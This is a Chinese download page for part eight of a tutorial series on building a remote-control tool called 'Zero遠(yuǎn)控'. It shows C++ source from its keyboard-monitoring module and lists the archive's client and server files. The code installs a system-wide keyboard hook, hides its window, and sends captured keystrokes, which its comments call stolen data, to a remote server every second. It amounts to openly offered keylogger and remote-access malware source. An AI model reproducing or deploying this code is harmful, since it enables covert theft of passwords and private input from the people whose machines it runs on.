-
大小: 161KB文件類型: .rar金幣: 2下載: 0 次發(fā)布日期: 2021-06-05
- 語言: 其他
- 標(biāo)簽: Zero遠(yuǎn)控??
資源簡(jiǎn)介
從零開始做遠(yuǎn)控教程(遠(yuǎn)程控制) 第八篇 鍵盤監(jiān)控

代碼片段和文件信息
#include?“keyboardspy.h“
//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?KeyboardSpy?spy;
//?窗口句柄
static?HWND?hWnd?=?NULL;
//?鍵盤鉤子句柄
static?HHOOK?gHHook?=?NULL;
//?socket列表
static?std::vector?gSockets;
//?鍵盤數(shù)據(jù)緩存區(qū)
static?std::vector?gBuffer;
KeyboardSpy::KeyboardSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);
????//?創(chuàng)建一個(gè)對(duì)話框來處理win32事件
????createDialogByNewThread();
}
KeyboardSpy::~KeyboardSpy()
{
????if(hWnd)?{
????????//?關(guān)閉計(jì)時(shí)器
????????KillTimer(hWnd?0);
????????//?刪除socket
????????const?int?max?=?gSockets.size();
????????for?(int?i=0;?i ????????????gSockets.at(i)->dissconnect();
????????????delete?gSockets.at(i);
????????}
????????//?關(guān)閉窗口
????????DestroyWindow(hWnd);
????????//?移除鍵盤監(jiān)控
????????if?(gHHook)?{
????????????uninstallKeyboardHook(gHHook);
????????}
????}
????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}
void?KeyboardSpy::startKeyboardSpy(std::string?domain?int?port)
{
????TcpSocket?*sock?=?new?TcpSocket();
????if?(!sock->connectTo(domain?port))?{
????????//?釋放socket
????????delete?sock;
????????std::cout?<“Failed?to?connect?server?for?keyboard?spy“?<????????std::fflush(stdout);
????????return;
????}
????//?把socket加到列表,當(dāng)有鍵盤數(shù)據(jù)就會(huì)調(diào)用socket
????addSocket(sock);
????//?輸出信息
????std::cout?<“Started?keyboard?spy?success“?<????std::fflush(stdout);
}
void?KeyboardSpy::createDialogByNewThread()
{
?????//?啟動(dòng)一個(gè)新線程來做監(jiān)控
?????HANDLE?h?=?CreateThread(NULL0KeyboardSpy::threadProc(LPVOID)NULL0NULL);
?????if?(!h)?{
?????????std::cout?<“Failed?to?create?new?thread“?<?????????std::fflush(stdout);
?????}
}
DWORD?KeyboardSpy::threadProc(LPVOID)
{
????//?創(chuàng)建一個(gè)不可見的窗口來處理win32事件
????WORD?tempMem[1024];
????LPDLGTEMPLATEA?temp?=?(LPDLGTEMPLATEA)tempMem;
????temp->style=WS_CAPTION;??temp->dwExtendedstyle=0;
????temp->x=0;?temp->y=0;
????temp->cx=0;?temp->cy=0;
????int?ret?=?DialogBoxIndirectParamA(NULLtemp?NULL?keyboardSpyWndProc(LPARAM)NULL);
????if?(ret?==?-1)?{
????????std::cout?<“Failed?to?create?dialog?box?for?keyboard?spy“?<????????std::fflush(stdout);
????}
????return?true;
}
WINBOOL?KeyboardSpy::keyboardSpyWndProc(HWND?hWnd?UINT?uiMsg?WPARAM??LPARAM?)
{
????switch(uiMsg)?{
????//?初始化監(jiān)控
????case?WM_INITDIALOG:?{
????????std::cout?<“WM_INITDIALOG“?<????????std::fflush(stdout);
????????//?定時(shí)發(fā)送竊取的數(shù)據(jù)
????????const?int?time?=?1000;??//?我這里設(shè)置1秒發(fā)送一次,你可以設(shè)置你自己想要的
????????SetTimer(hWnd0?time?sendKeyboardData);
????????//?安裝鍵盤鉤子來截取系統(tǒng)的所有鍵盤輸入
????????gHHook?=?installKeyboardHook();
????????if?(!gHHook)?{
????????????std::cout?<“Failed?to?install?keyboard?hook“?<????????????std::fflush(stdout);
????????}
????????break;
????}
????case?WM_PAINT:
????????//?隱藏窗口
????????ShowWindow(hWndSW_HIDE);
????????break;
????default:
????????break;
????}
????return?false;
}
HHOOK?Keyb
?屬性????????????大小?????日期????時(shí)間???名稱
-----------?---------??----------?-----??----
?????文件???????1378??1997-10-18?15:41??Zero遠(yuǎn)控-08\ZeroClient\jpeg\jconfig.h
?????文件??????12717??2014-09-03?11:55??Zero遠(yuǎn)控-08\ZeroClient\jpeg\jmorecfg.h
?????文件??????47339??2016-12-21?08:02??Zero遠(yuǎn)控-08\ZeroClient\jpeg\jpeglib.h
?????文件?????235030??2014-04-05?15:23??Zero遠(yuǎn)控-08\ZeroClient\jpeg\libjpeg.lib
?????文件???????7089??2016-12-22?17:41??Zero遠(yuǎn)控-08\ZeroClient\keyboardspy.cpp
?????文件???????1512??2016-12-22?15:24??Zero遠(yuǎn)控-08\ZeroClient\keyboardspy.h
?????文件???????1182??2016-12-22?16:11??Zero遠(yuǎn)控-08\ZeroClient\main.cpp
?????文件???????9187??2016-12-22?11:23??Zero遠(yuǎn)控-08\ZeroClient\screenspy.cpp
?????文件???????1378??2016-12-21?14:42??Zero遠(yuǎn)控-08\ZeroClient\screenspy.h
?????文件???????2979??2016-12-20?16:30??Zero遠(yuǎn)控-08\ZeroClient\tcpsocket.cpp
?????文件????????901??2016-12-21?12:27??Zero遠(yuǎn)控-08\ZeroClient\tcpsocket.h
?????文件???????7959??2016-12-22?16:15??Zero遠(yuǎn)控-08\ZeroClient\zeroclient.cpp
?????文件???????2357??2016-12-22?16:13??Zero遠(yuǎn)控-08\ZeroClient\zeroclient.h
?????文件????????261??2016-12-22?10:29??Zero遠(yuǎn)控-08\ZeroClient\ZeroClient.pro
?????文件??????23635??2016-12-22?17:42??Zero遠(yuǎn)控-08\ZeroClient\ZeroClient.pro.user
?????文件???????1784??2016-12-22?17:37??Zero遠(yuǎn)控-08\ZeroServer\keyboardspy.cpp
?????文件????????984??2016-12-22?17:42??Zero遠(yuǎn)控-08\ZeroServer\keyboardspy.h
?????文件????????199??2016-12-19?12:00??Zero遠(yuǎn)控-08\ZeroServer\main.cpp
?????文件???????5064??2016-04-24?09:10??Zero遠(yuǎn)控-08\ZeroServer\resources\cmdspy.png
?????文件???????8132??2016-04-24?09:13??Zero遠(yuǎn)控-08\ZeroServer\resources\filespy.png
?????文件???????4560??2016-04-24?09:23??Zero遠(yuǎn)控-08\ZeroServer\resources\keyboardspy.png
?????文件???????7688??2016-04-24?09:14??Zero遠(yuǎn)控-08\ZeroServer\resources\screenspy.png
?????文件??????21662??2016-04-24?10:49??Zero遠(yuǎn)控-08\ZeroServer\resources\zero.ico
?????文件???????3644??2016-04-24?10:44??Zero遠(yuǎn)控-08\ZeroServer\resources\zero.png
?????文件????????324??2016-12-18?16:40??Zero遠(yuǎn)控-08\ZeroServer\resources.qrc
?????文件???????2750??2016-12-22?17:05??Zero遠(yuǎn)控-08\ZeroServer\screenspy.cpp
?????文件???????1264??2016-12-21?15:47??Zero遠(yuǎn)控-08\ZeroServer\screenspy.h
?????文件????????892??2016-12-21?12:56??Zero遠(yuǎn)控-08\ZeroServer\tcpserver.cpp
?????文件????????892??2016-12-20?11:15??Zero遠(yuǎn)控-08\ZeroServer\tcpserver.h
?????文件???????1060??2016-12-21?15:13??Zero遠(yuǎn)控-08\ZeroServer\tcpsocket.cpp
............此處省略21個(gè)文件信息
- 上一篇:zero遠(yuǎn)控_06
- 下一篇:Zero遠(yuǎn)控_-07
評(píng)論
共有 條評(píng)論